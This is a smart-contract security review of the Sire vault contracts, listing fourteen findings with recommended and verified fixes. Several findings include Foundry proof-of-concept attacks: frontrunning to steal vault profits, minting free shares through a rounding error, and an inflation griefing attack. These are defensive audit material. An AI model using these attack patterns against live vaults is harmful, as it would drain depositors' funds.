Sire Contracts
Security Review

Solo review by:
Philogy, Lead Security Researcher

October 13, 2025

Contents

1 Introduction **2**
- 1.1 About Cantina . . . 2
- 1.2 Disclaimer . . . 2
- 1.3 Risk assessment . . . 2
  - 1.3.1 Severity Classification . . . 2

2 Security Review Summary **3**

3 Findings **4**
- 3.1 High Risk . . . 4
  - 3.1.1 Withdrawal Delay Can Be Circumvented to Dodge Losses . . . 4
  - 3.1.2 Vault Profits Can Be Stolen Via Frontrunning . . . 4
- 3.2 Medium Risk . . . 6
  - 3.2.1 Transfer Restrictions Can Be Bypassed With Wrapper Contract . . . 6
  - 3.2.2 Incorrect Rounding for Mint Allows Attacker to Mint Free Shares . . . 6
  - 3.2.3 Users Can Temporarily Acquire the Highest ”benefit” Tier For Free Using Loans . . . 7
  - 3.2.4 Non-Atomic PnL Update May Cause ”Phantom” Losses/Gains . . . 7
  - 3.2.5 Use of `.env` Files to Store Sensitive Private Keys . . . 8
- 3.3 Low Risk . . . 8
  - 3.3.1 Attacker Can Delete First Deposit At Moderate Cost . . . 8
  - 3.3.2 The `previewRedeem` & `previewWithdraw` Methods Do Not Take The Management Fee Into Account . . . 9
  - 3.3.3 `SireStakingRewardsUUPS` Incompatible with Fee-On-Transfer Tokens . . . 10
  - 3.3.4 Bridge `txId` Duplication Can Overwrite Pending Bridge Amount . . . 11
- 3.4 Gas Optimization . . . 11
  - 3.4.1 Storage Used For Constant Parameters in Upgradeable Contracts . . . 11
- 3.5 Informational . . . 11
  - 3.5.1 Inherit Interfaces to Make Sure Components Remain Compatible . . . 11
  - 3.5.2 More Error Prone `abi.encodeWithSelector` Used Over Type-Safe `abi.encodeCall` . . . 12

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A security review is a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While the review endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that a security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

SIRE is the first agentic on-chain sports-betting hedge fund, built for DeFAI.

From Sep 14th to Sep 20th the security researchers conducted a review of SIRE-vault-contracts on commit hash 36ccf190. A total of **14** issues were identified:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	2	2	0
Medium Risk	5	5	0
Low Risk	4	3	1
Gas Optimizations	1	0	1
Informational	2	1	1
Total	**14**	**11**	**3**

3 Findings

3.1 High Risk

3.1.1 Withdrawal Delay Can Be Circumvented to Dodge Losses

Severity: High Risk

Context: AgenticVault.sol#L296-L375

Description: Investors in the vault may incur losses through the employed strategy which is recognized within the vault's accounting via invocation of the `settleStrategy` method by an authorized party. The process proceeds as follows:

1. Vault has share price `p`.
2. Strategy incurs loss external to the vault.
3. Loss gets registered with the vault via a call to `settleStrategy`.
4. Vault has share price `p' < p`.

Even if the delay between public knowledge of the loss and the call to `settleStrategy` is *shorter* than the configured `withdrawCooldown` investors can escape the losses by circumventing the withdraw delay to withdraw their funds at the higher share price `p`.

To do this they must prepare in advance, namely they must have called `initiateWithdraw` in advance. This does not pose any barrier as an early `initiateWithdraw` comes at no cost. Neither in optionality or vault earnings. While one has a pending withdrawal one still: accrues earnings from share price appreciation, is able to deposit additional funds and is able to complete a normal withdrawal when desired.

As soon as the `unlockTime` of a given withdrawal is passed an investor may use that to momentarily withdraw with no notice thereby practically circumventing the main purpose of the delay. This may even become the dominant strategy as the downside to having a ready withdrawal is 0, in fact it is beneficial even if you do not wish to maliciously circumvent losses as it'll allow you to exit the vault faster.

Recommendation: In order to prevent the above behavior one must create a downside to sitting in the withdrawal queue for a prolonged time without allowing investors to instantaneously escape share price decreases. To do this store the last share price as part of the pending withdrawal struct. At withdrawal cap the investor's share price to `min(sharePriceAtInitiateWithdraw, sharePriceCurrent)`. This ensures that they do not accrue any appreciation while their withdrawal is pending and still incur losses if they withdraw right after a loss event becomes known.

Furthermore one must consider the interactions with `cancelWithdraw` to ensure the capped share price is honored. This can be accounted for by removing some shares such that the capped share price recorded in the withdrawal is respected when it's cancelled or alternatively remove the `cancelWithdraw` method entirely.

Sire: Fixed in commit 1f7cb785.

Philogy: Fix verified.

3.1.2 Vault Profits Can Be Stolen Via Frontrunning

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: When rewards are accounted via a call to `settleStrategy` plus simultaneous delivery of tokens this causes a sudden jump in the share price of the vault. Depending on the rewards accounted it may be profitable for a malicious 3rd party to just in time issue shares to dilute other investors, capture the reward and then withdraw. Practically this user would be acting as investor without being the time value to actually accrue the rewards.

Proof of Concept:

```
function test_stealRewardsJustInTime() public {
    // ================ SETUP ================
    MockUSDC USDC = MockUSDC(address(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913));
```

```
    address investor = makeAddr("investor");
    USDC.mint(investor, 1_200e6);
    address attacker = makeAddr("attacker");
    USDC.mint(attacker, 10_000e6);

    vm.prank(attacker);
    USDC.approve(address(vault), type(uint256).max);

    // ================ INVESTOR DEPOSIT ================
    vm.startPrank(investor);
    USDC.approve(address(vault), 1_200e6);
    vault.deposit(1_200e6, investor);
    vm.stopPrank();

    // ================ STRATEGY WITHDRAW ================
    vm.prank(address(this));
    bytes32 txid = vault.withdrawForStrategy(50e6);

    // ================ ATTACKER FRONTRUN ================
    vm.prank(attacker);
    vault.deposit(1_200e6, attacker);

    // ================ STRATEGY SETTLE ================
    vm.prank(address(this));
    vault.settleStrategy(txid, 50e6, true);
    USDC.mint(address(vault), 50e6 + 180e6);

    // ================ ATTACKER WITHDRAWS PROCEEDS ================
    uint256 attackerShares = vault.balanceOf(attacker);
    vm.startPrank(attacker);
    vault.initiateWithdraw(attackerShares);
    vm.warp(block.timestamp + vault.withdrawCooldown() + 1);
    uint256 attackerReceipt = vault.claimWithdraw(attackerShares, attacker);
    vm.stopPrank();

    console.log("attacker received %s USDC", attackerReceipt);
}
```

Recommendation: When crediting the vault with profits ensure the rewards are smoothed in to avoid sudden jumps in the share price. This can be achieved by adding a term that ”holds back” profits:

```
uint256 constant SMOOTH_PROFITS_OVER_SECONDS = 7 days;
uint256 internal _lastHeldBackProfits;
uint256 internal _lastProfitTimestamp;

function _currentHeldBackProfits() internal view returns (uint256) {
    uint256 timePassed = block.timestamp - _lastProfitTimestamp;
    if (timePassed >= SMOOTH_PROFITS_OVER_SECONDS) return 0;
    return _lastHeldBackProfits * (SMOOTH_PROFITS_OVER_SECONDS - timePassed) / SMOOTH_PROFITS_OVER_SECONDS;
}

function _addHeldBackProfits(uint newHeldBack) internal  {
    _lastHeldBackProfits = _currentHeldBackProfits() + newHeldBack;
    _lastProfitTimestamp = block.timestamp;
}

function totalAssets() public view override returns (uint256) {
    return IERC20(asset()).balanceOf(address(this)) + totalDeployed - _currentHeldBackProfits();
}
```

The `_addHeldBackProfits` method should then be called with the sum of profits atomically with when they're deposited into the contract. Note: if `SMOOTH_PROFITS_OVER_SECONDS` is longer than the average time between profit distributions `_currentHeldBackProfits()` will not be `0` and will be added back to `_lastHeldBackProfits` meaning that held back profits will decay exponentially based on the different in the two intervals instead of linearly.

Sire: Fixed in commit 1ca2ec06.

Philogy: Fix verified.

3.2 Medium Risk

3.2.1 Transfer Restrictions Can Be Bypassed With Wrapper Contract

Severity: Medium Risk

Context: AgenticVault.sol#L518-L534

Description: Shares could still effectively be transferred and traded via the creation of a wrapper contract. Such a contract would function as a middleman, allowing users to deposit and redeem shares through it, this contract could then mint reference shares to track user balances, enabling transfers and trading.

Recommendation: Since the main purpose of the transfer restriction seems to be preventing fee avoidance implement an alternative fee collection mechanism that collects fees independently of when shares are redeemed & created. One could achieve this by continuously diluting the `totalSupply` of shares at the rate at which one would like to collect the management fee. These shares could be accumulated virtually based on a multiplier of time elapsed.

Alternatively one could enable transfers and remove management fees entirely.

Sire: Fixed in commit b3b26411.

Philogy: The issue has merely been mitigated. The management fee collection mechanism has been adjusted to be continuous such that circumvention of transfer restrictions doesn't escape the fee as it's now continuous and ever present. However the transfer restrictions can still be circumvented.

Furthermore the new management fee mechanism is not guaranteed to accrue a fixed APY rate. It's been configured to charge at most 2% APY but will on average accrue less as the accrual logic is linear making the resulting APY dependent on how often the management fee is accrued. The client has acknowledged this issue.

3.2.2 Incorrect Rounding for Mint Allows Attacker to Mint Free Shares

Severity: Medium Risk

Context: AgenticVault.sol#L253, AgenticVault.sol#L556

Description: The `convertToAssets` computes the amount of assets to be paid for shares given a share amount and rounds down towards 0. This means if you attempt to mint `totalSupply() / totalAssets() - (totalSupply() % totalAssets() == 0 ? 1 : )` shares you will actually mint ~1 USDC unit (10^-6) of shares for free, negatively diluting other vault investors. The revenue from this attack combined with the cost of performing it seem to indicate that it's unprofitable for an attacker to do so at scale assuming other efficiencies are not discovered.

Proof of Concept:

```
function test_poc_maliciousDilution() public {
    address attacker = makeAddr("attacker");
    MockUSDC realUsdc = MockUSDC(vault.USDC_BASE());

    uint256 userDeposit = 433.122e6;
    realUsdc.mint(user, userDeposit);
    vm.prank(user);
    realUsdc.approve(address(vault), userDeposit);
    vm.prank(user);
    uint256 userShares = vault.deposit(userDeposit, user);
    console.log("==================== before attack ====================");
    console.log("user has %s shares worth %s USDC", userShares, vault.previewRedeem(userShares));

    vm.startPrank(attacker);
    realUsdc.mint(attacker, 1e6);
    realUsdc.approve(address(vault), type(uint256).max);
    uint256 cost = 0;
    for (uint256 i = 0; i < 1000; i++) {
        uint256 freeShares = vault.totalSupply() / vault.totalAssets();
        if (vault.totalSupply() % vault.totalAssets() == 0) {
            freeShares--;
        }
        cost += vault.mint(freeShares, attacker);
    }
    vm.stopPrank();
    console.log("==================== after attack ====================");
```

```
    console.log("user has %s shares worth %s USDC", userShares, vault.previewRedeem(userShares));
    console.log(
        "attacker has %s shares worth USDC %s at a cost of %s USDC",
        vault.balanceOf(attacker),
        vault.previewRedeem(vault.balanceOf(attacker)),
        cost
    );
}
```

Recommendation: Ensure calculations always round in favor for the protocol. Specifically a variant of `convertToAssets` should be used that rounds up not down.

Sire: Fixed in commit 2ad86e0d.

Philogy: Fix verified.

3.2.3 Users Can Temporarily Acquire the Highest "benefit" Tier For Free Using Loans

Severity: Medium Risk

Context: AgenticVault.sol#L713-L723

Description: Users can achieve the highest "benefit" tiers in the vault, minimizing their deposit, withdraw and performance fees for essentially free by borrowing the required SIRE tokens. In practice users could achieve this by taking out collateralized loans from lending protocols for the period where they intend to deposit/withdraw/crystalize rewards.

More sophisticated users may write/use contracts that hold the vault shares on their behalf with the added ability to perform flash-loans at the time of deposit & withdraw. Unlike lending pools which require explicit integration from lending protocols flash-loans are generally widely available wherever there are AMMs with liquidity in the token.

Recommendation: Either abolish benefit tiers or use a more sophisticated token implementation that's able to efficiently track the average balance of users in a recent window of time, like this you can ensure that benefits are only granted to users who held an average of the necessary balance over X time period.

Sire: Fixed in commit 68babe2f.

Philogy: Issue hasn't been entirely fixed but mitigated. It is still possible to easily receive the highest benefit tier by staking for a short duration. Furthermore the fix also introduces a new issue that the unlock duration can be changed last minute to very high numbers essentially locking in stakers indefinitely. However this is equal in capability as the admins of the contract already have due to upgradeability, it's just more directly useable.

3.2.4 Non-Atomic PnL Update May Cause "Phantom" Losses/Gains

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: To recognize PnL from a strategy the `settleStrategy` method is to be called on the `AgenticVault`. There are two parts to how PnL affects the final value recognized by the investors in the vault:

1. `totalDeployed`.
2. Vault USDC Balance.

When assets are withdrawn from the vault (USDC balance decrease) it is balanced by increasing `totalDeployed`. When PnL is recognized `totalDeployed` is decreased and the returned assets are sent back to the vault. If there was a loss `totalDeployed` is decreased by *more* than was returned and when there's a profit more is deposited than by how much `totalDeployed` is decreased.

The problem is that `settleStrategy` does not guarantee that these two things happen together. If one of the authorized parties completes the transfer of USDC and `settleStrategy` call as two separate transactions it would cause a temporary dip/spike in `totalAssets` resulting in unexpected losses for users who happen to withdraw at the wrong moment or losses for the entire vault if `totalAssets` spikes and someone happens to realize that gain via a withdrawal in that moment.

Recommendation: Ensure the `settleStrategy` method directly guarantees the atomicity of PnL accounting. This can be achieved by bundling the accounting logic with a call to `transferFrom` for the USDC token to pull in the funds or alternatively a callback that allows the caller to transfer the tokens themselves to the vault with additional logic to validate the amount transferred in by the caller.

Sire: Fixed in commit 2797401c.

Philogy: Fix verified.

3.2.5 Use of `.env` Files to Store Sensitive Private Keys

Severity: Medium Risk

Context: UnifiedMainnetDeploy.s.sol#L59-L66

Description: The project's deployment script points to the fact that `.env` files are being used to store & manage the private key used to deploy the project's contracts. Based on the implement of the contracts and the deployment configuration this wallet is going to be granted the most permissive `DEFAULT_ADMIN_ROLE` for all the contracts granting it very critical permissions related to managing these contracts.

Managing sensitive private keys with `.env` is *highly discouraged* as this means that the private key is stored in plain text on your computer making it vulnerable to being leaked in several ways. Most likely and often underestimated is leakage via accidental exposure, this can happen if you say forgot to `.gitignore` your `.env`. While it's not the case in the current repo if you decide to reuse the `.env` file for a future project and forget to do so or share your screen while onboarding developers or other security researchers it is very easy to expose such sensitive information by accident.

Recommendation: Use foundry keystores to ensure that sensitive private keys are always stored in an encrypted fashion on your development environment. Ideally use a cold wallet for addresses that have high permissions.

Sire: Fixed in commit 4604f41d.

Philogy: Fix verified.

3.3 Low Risk

3.3.1 Attacker Can Delete First Deposit At Moderate Cost

Severity: Low Risk

Context: AgenticVault.sol#L563-L573

Description: The implementation overrides the `previewDeposit` and `previewMint` methods from the base OpenZepplin ERC4626 implementation with subtly different logic that allows someone to mint any quantity of shares up to `10**12 - 1` without depositing assets, initializing the vault's share price to `0`. This is undesirable as this allows a malicious actor to easily inflate the share price by minting 1 share for free, and then transferring USDC to the vault massively inflating the price.

This can cause subsequent legitimate deposits to receive no shares as `deposit` will round down against the user's favor.

Due to withdrawal fees and other mitigating factors this attack seems to however be unprofitable, costing about ~83% of the subsequently deleted deposit.

Proof of Concept:

```
function test_poc_griefingInflationAttack() public {
    MockUSDC USDC = MockUSDC(address(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913));

    uint256 depositAmount = 1026.38727e6;

    address attacker = makeAddr("attacker");
    USDC.mint(attacker, 50_000e6);
    vm.startPrank(attacker);
    vault.mint(2, attacker);
    uint256 cost = depositAmount * 2 + 1;
    USDC.transfer(address(vault), cost);
    vm.stopPrank();
```

```
    USDC.mint(user, depositAmount);
    vm.startPrank(user);
    USDC.approve(address(vault), type(uint256).max);
    vault.deposit(depositAmount, user);
    vm.stopPrank();

    console.log(
        "attacker has %s shares worth %s USDC",
        vault.balanceOf(attacker),
        vault.previewRedeem(vault.balanceOf(attacker))
    );
    console.log(
        "user has %s shares worth %s USDC", vault.balanceOf(user), vault.previewRedeem(vault.balanceOf(user))
    );

    vm.startPrank(attacker);
    vault.initiateWithdraw(vault.balanceOf(attacker));
    vm.warp(block.timestamp + vault.withdrawCooldown() + 1);
    uint256 assetsOut = vault.claimWithdraw(type(uint256).max, attacker);
    vm.stopPrank();

    console.log("attacker got: %s USDC (net cost = %s USDC)", assetsOut, cost - assetsOut);
}
```

Recommendation: Use an asset and share offset similar to what OpenZepplin's ERC4626 does in `previewDeposit` / `previewMint` to compute shares to ensure a healthy starting share price.

Sire: Fixed in commit 5b2c46d9.

- `src/AgenticVault.sol#L55` introduced virtual asset/share buffers so the vault always prices against a healthy synthetic reserve.
- `src/AgenticVault.sol#L549` updated `convertToShares` to use the virtual reserves, preventing griefing deposits from floor-rounding to zero shares.
- `src/AgenticVault.sol#L563` applied the same virtual-reserve math with ceil rounding in `convertToAssets`, keeping mints protocol-favorable even at low supply.
- `test/AgenticVault.t.sol#L197` tightened the zero-cost mint regression to demand positive payment from both convertToAssets and `previewMint`.
- `test/AgenticVault.t.sol#L229` added the audit's griefing scenario and confirmed a later user deposit still mints shares as quoted.

Tests

- `forge test --match-test NoFreeShareMinting`.
- `forge test --match-test GriefingInflationAttackMitigated`.
- `forge test`.
- All commands run on branch `audit-fixes-2025-09`.

Philogy: Fix verified.

3.3.2 The `previewRedeem` & `previewWithdraw` Methods Do Not Take The Management Fee Into Account

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: According to ERC-4626 `previewRedeem`:

> MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.

Similarly for `previewWithdraw`:

> MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.

These methods on `AgenticVault` do not adhere to this specification as they have been carried over from the default OpenZeppelin implementation which does not take the fees of the new protocol into account. While the `AgenticVault` is not generally compliant with ERC-4626 anyway (direct withdraw/redeem disabled, no transfer, etc.) those modifications are explicit and targeted to accommodate Sire's use-case vs. these changes which are implicitly different in a way which may confuse integrators who expect the interface to otherwise be compatible.

Proof of Concept:

```
function test_previewRedeemIncorrect() public {
    MockUSDC USDC = MockUSDC(address(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913));

    address investor = makeAddr("investor");
    USDC.mint(investor, 1_200e6);
    vm.startPrank(investor);
    USDC.approve(address(vault), 1_200e6);
    uint256 shares = vault.deposit(1_200e6, investor);
    vm.stopPrank();

    vm.startPrank(investor);
    uint256 previewAmount = vault.previewRedeem(shares);
    vault.initiateWithdraw(shares);
    vm.warp(block.timestamp + vault.withdrawCooldown() + 1);
    uint256 realAssetsOut = vault.claimWithdraw(type(uint256).max, investor);

    console.log("previewAmount: %s", previewAmount);
    console.log("realAssetsOut: %s", realAssetsOut);
}
```

Recommendation: Make `previewRedeem` and `previewWithdraw` compliant with the standard or disable them entirely by reverting when they're called. Note that this methods are relied upon directly & indirectly in `_settle` and `_settlePartial` so modifying them to include fees will require adjusting their logic as well.

Sire: We agree with the spec note, but touching previewRedeem/previewWithdraw isn't a scoped tweak for us-it cascades into all the fee-aware settlement paths (_settle, _settlePartial, cooldown logic, and downstream Sireintegrations) and would rework the new fee math we just shipped. That refactor's on the roadmap so we can do it once alongside broader 4626 compatibility work; for now we've left behaviour unchanged to avoid destabilising current flows right before launch.

Philogy: Acknowledged.

3.3.3 `SireStakingRewardsUUPS` Incompatible with Fee-On-Transfer Tokens

Severity: Low Risk

Context: SireStakingRewardsUUPS.sol#L130-L151

Description: The SIRE ERC20 token that the staking rewards is intended to be launched with supports fees on ERC20 transfers. While these fees are configured to only be charged for transfers to a certain pool (`pair` in the SIRE token contract) this `pair` value can be changed.

If fees were to be charged for transfers to the staking contract this would break the logic as the `stake` method depends on exactly the requested amount being transferred in. If a transferred fee were charged the `stake` function would record a *higher* balance (the pre-fee balance) while only the smaller post-fee balance would be transferred in. This would result in:

1. Users earning more rewards than they actually deposited.
2. Users being able to withdraw other people's balance as the contract recognizes their pre-fee balance.

Recommendation: Use a more accurate measure for the amount of tokens transferred into the contract. This can be done by comparing the contract's balance before and after the transfer to determine the post-fee deposit.

Sire: Fixed in commit 1d4fec0c.

Philogy: Fix verified.

3.3.4 Bridge `txId` Duplication Can Overwrite Pending Bridge Amount

Severity: Low Risk

Context: SxBridgeAdapter.sol#L215-L217

Description: The `bridgeOuts` mapping relies on the computed `txId` to be unique when `bridgeOut` is called to store information about the bridge intent. However due to how it's computed it's possible for two `txId` values to collide, this can happen if in the same block the same amount is withdrawn two times in a row:

- During a transaction/block both `block.timestamp` & `block.number` remain unchanged.
- `msg.sender` remains unchanged because it's the same vault.
- `amount` is unchanged in our scenario because you accidentally use the sam amount twice.

A duplicate `txId` would cause the second `bridgeOut` call to override the first, storing the amount only once in the contract limiting how much `withdrawForBridge` and `failBridgeOut` can transfer out of the contract.

Even if an agent calls `bridgeIn` repeatedly it would distort the vault's accounting as the first call would trigger an inner `settleStrategy` call which would correctly max out the associated `StrategyPosition.returned` value or even mark the position as closed. This means that the second call to `bridgeIn` would attempt to trigger `settleStrategy` which would revert, however because of the try-catch in the `bridgeIn` function the USDC transfer wouldn't be reverted meaning that the vault's `totalAssets()` would be inflated.

Recommendation: Ensure `txId` is always unique even within a block/transaction by using an incrementing nonce value that gets mixed into the ID.

Sire: Fixed in commit 512a0349.

Philogy: Fix verified.

3.4 Gas Optimization

3.4.1 Storage Used For Constant Parameters in Upgradeable Contracts

Severity: Gas Optimization

Context: AgenticVault.sol#L57-L59, AgenticVault.sol#L177-L179

Description: Reading storage is one of the most expensive operations you can do in the EVM. The referenced values are stored and as a result read from storage even though the current implementation does not have the ability to modify them outside of a whole-code upgrade.

It is a common misconception that any values that need to be initialized at deployment need to be passed in via the `initializer` method. Specifically values marked `immutable` can be initialized via the traditional Solidity `constructor` at deployment of the implementation contract. This comes at the only downside that if multiple proxies then share this implementation they must all use the same values.

Recommendation: Move unchanged constants to values explicitly declared as `constant` or `immutable`, initializing them in the `constructor` if they are `immutable`.

Sire: Appreciate the suggestion. We profiled the read costs for these three addresses and the two tier arrays, using Base mainnet gas prices plus our projected peak volume. Even under the very high volume scenarios we've modelled, the aggregate incremental spend stays in the low single-digit USD per month, which is immaterial relative to protocol revenue. Converting them to constant/immutable would add maintenance friction for future upgrades, so we're keeping the current storage-backed configuration for now.

Philogy: Acknowledged.

3.5 Informational

3.5.1 Inherit Interfaces to Make Sure Components Remain Compatible

Severity: Informational

Context: FeeSplitter.sol#L13-L15, SireStakingRewardsUUPS.sol#L182-L183

Description: The `FeeSplitter` is coupled to the `SireStakingRewardsUUPS` rewards contract, attempting to call a `notify` method whenever fees are split. However the interface containing the `notify` method is not shared between `FeeSplitter.sol` and `SireStakingRewardsUUPS.sol` meaning they could fall out of sync without being noticed as changes are made.

Recommendation: Ensure `SireStakingRewardsUUPS` inherits the interface or `FeeSplitter` uses the contract type directly as its interface.

Sire: The loose interface here is intentional: `IStakersDistributorOptional` lets `FeeSplitter` treat the rewards hook as a best-effort extension. Having `SireStakingRewardsUUPS` inherit the interface (or using the concrete type) would tighten the coupling, pulling upgrade checks and storage layout from the rewards code into any future `FeeSplitter` changes. Given we expect to iterate on staking separately-and may swap implementations-we'd rather keep the optional notify path as a lightweight, duck□typed contract check than create a hard compile-time dependency.

Philogy: Acknowledged.

3.5.2 More Error Prone `abi.encodeWithSelector` Used Over Type-Safe `abi.encodeCall`

Severity: Informational

Context: UnifiedMainnetDeploy.s.sol#L117-L123, UnifiedMainnetDeploy.s.sol#L147-L154, UnifiedMainnetDeploy.s.sol#L179-L183, UnifiedMainnetDeploy.s.sol#L209-L217

Description: In the referenced sections of code `abi.encodeWithSelector` is used instead of `abi.encodeCall`. While they both achieve the same task `abi.encodeCall` is type-safe, meaning it'll verify the types of the values passed to it, allowing the compiler to raise an early error if the number or type of arguments ever diverges. This is unlike `abi.encodeWithSelector` which allows interface mismatches to be compiled and only allowing issue discovery when the script is actually run.

Recommendation: Use `abi.encodeCall` where possible.

Sire: Fixed in commit 4604f41d.

Philogy: Fix verified.